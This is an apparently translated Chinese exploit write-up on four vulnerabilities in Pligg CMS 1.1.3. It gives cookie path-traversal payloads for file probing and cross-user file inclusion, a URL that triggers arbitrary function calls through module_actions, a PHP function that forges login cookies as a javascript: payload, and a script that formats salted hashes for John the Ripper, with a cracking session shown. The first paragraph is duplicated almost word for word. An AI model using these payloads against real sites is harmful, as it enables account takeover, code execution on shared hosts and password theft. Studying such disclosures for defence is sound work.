### 漏洞一名称: Pligg CMS file existence exploration/shared hosting privilege escalation Vulnerable version 1.1.3 在config.php文件第80行代码出存在如下代码: ``` if(isset($_COOKIE['template'])){ $thetemp = sanit($_COOKIE['template']); } ``` 往下6行代码如下: ``` $file = dirname(__FILE__) . '/templates/' . $thetemp . "/pligg.tpl"; unset($errors); if (!file_exists($file)) { $errors[]='You may have typed the template name wrong or "'. $thetemp . '" does not exist. Click <a href = "admin/admin_config.php?page=Template">here</a> to fix it.'; } ``` sanit()函数执行如下: ``` addslashes(htmlentities(strip_tags($var),ENT_QUOTES,UTF-8?)); ``` 你可以通过创建一个名为template的cookie并赋值存放在正确的位置来使用这个函数,默认名称为wistie,你可以通过将你的template cookie命名为wistie来测试是否可用。 利用方法如下: ``` template=../templates/wistie ``` 生成如下代码: ``` $file = dirname(__FILE__) . /templates/../templates/wistie/pligg.tpl; ``` /templates/../templates/wistie/pligg.tpl does exist so we know now that the name of the underlaying directory is templates....
### 漏洞一名称: Pligg CMS file existence exploration/shared hosting privilege escalation Vulnerable version 1.1.3 在config.php文件第80行代码出存在如下代码: ``` if(isset($_COOKIE['template'])){ $thetemp = sanit($_COOKIE['template']); } ``` 往下6行代码如下: ``` $file = dirname(__FILE__) . '/templates/' . $thetemp . "/pligg.tpl"; unset($errors); if (!file_exists($file)) { $errors[]='You may have typed the template name wrong or "'. $thetemp . '" does not exist. Click <a href = "admin/admin_config.php?page=Template">here</a> to fix it.'; } ``` sanit()函数执行如下: ``` addslashes(htmlentities(strip_tags($var),ENT_QUOTES,UTF-8?)); ``` 你可以通过创建一个名为template的cookie并赋值存放在正确的位置来使用这个函数,默认名称为wistie,你可以通过将你的template cookie命名为wistie来测试是否可用。 利用方法如下: ``` template=../templates/wistie ``` 生成如下代码: ``` $file = dirname(__FILE__) . /templates/../templates/wistie/pligg.tpl; ``` /templates/../templates/wistie/pligg.tpl does exist so we know now that the name of the underlaying directory is templates. /templates/../templates/wistie/pligg.tpl存在,根目录就是templates。 可以对root权限进行如下操作: template=../../www/templates/wistie template=../../../var/www/templates/wistie 利用共享主机环境,需要先在templates文件夹下准备一个pligg.tpl文件 在共享主机环境中,创建一个pligg.tpl文件,在浏览器中浏览改目录下的利用代码,就会产生文件包含,以其他用户身份执行代码。 比如: template=../../user2/ ### 漏洞二名称:Exploit title: Pligg CMS user function execution Vulnerable version 1.1.3 index.php存在如下代码: ``` check_actions('index_top', $vars); // line 9 ``` check_actions函数在modules/modules_libs.php中定义如下: ``` function check_actions($location, &$vars) { global $module_actions; $vars['location'] = $location; if($module_actions){ foreach ( $module_actions as $k => $v ) { if($k == $location){ foreach ( $v as $kk => $vv ) { call_user_func_array($kk, array(&$vars)); } } } } } ``` 需要设置register_globals=1,否则无法操作$module_actions数组进行漏洞利用。 check_actions()执行用户自定义函数。 $module_actions是多维数组,长这样: ``` [short name of function] => Array ( [user defined function name] => ) ``` $location是个短函数名,将值赋给$vars['location'] 如果$vars['location’]和$module_actions内某个函数的短名称相同,会将foreach循环执行到底。 被忽略的地方在于,如果module_actions[key]数组拥有多于一个参数,这些参数都会被运行。 利用示例如下: ``` /index.php?module_actions[index_top][error] ``` 应用程序在调用这个函数时会报错。 # 漏洞三名称: Pligg CMS Post login bypass Vulnerable version 1.1.3 将cookie mnm_key和mnm_user放在一起是应用程序判断客户端是谁的一种常用方法。 mnm_key通过base64加密,使用:号分为3段,第三段数据包含login_pass和MD5加密的用户名。 这些值很被破解,login_pass是在注册时产生的,由sha1哈希值与一个随机salt前缀组成,salt添加在40位sha1字符前。 其他值并没有过多处理,就是username或加密过的username。 如果得到了cookie,你可能可以使用其中的md5来进行身份验证,不用知道密码即可进行登录操作。 以下两个PHP函数=存在这样的漏洞: ``` <?php function bake_cookies($username,$md5){ $mnm_user=$username; $mnm_key=base64_encode(implode(":",array($username,crypt($username,22),$md5))); echo "javascript:void(document.cookie=\"mnm_user=".$mnm_user."\"); void(document.cookie=\"mnm_key=".$mnm_key."\");\n"; } function extract_md5($mnm_key){ $mnm_key=explode(":",base64_decode($mnm_key)); return $mnm_key[2]; } ?> ``` # 漏洞四名称: Pligg CMS SALTs are kept in the database Vulnerable version 1.1.3 数据库里面的hash值长这样: 31a63a80df8c5a02503dd0742755b7ae8f9174fc6855c1eb1 后面40位字符是sha1哈希值($salt.$password),前面的字符是salt头,salt头不应该从数据库中获取。 以下实例展示如何利用john和ripper jumbo破解hash值。 ``` <?php function jtr_format($sha1Salted,$username='user1'){ $sha1=substr($sha1Salted,-40); $salt=substr($sha1Salted,0,-40); return $username.":\$SHA1p\$".$salt."\$".$sha1; } echo jtr_format("31a63a80df8c5a02503dd0742755b7ae8f9174fc6855c1eb1","administrator"); ?> ``` ``` $ php jtr_jumbo.php > admin_hash.txt $ cat admin_hash.txt administrator:$SHA1p$31a63a80d$f8c5a02503dd0742755b7ae8f9174fc6855c1eb1 $ john admin_hash.txt Loaded 1 password hash (Generic salted SHA-1 [32/32]) password (administrator) guesses: 1 time: 0:00:00:00 100.00% (2) (ETA: Mon Mar 14 23:04:47 2011) c/s: 1536 trying: password $ john admin_hash.txt --show administrator:password ``` 1 password hash cracked, 0 left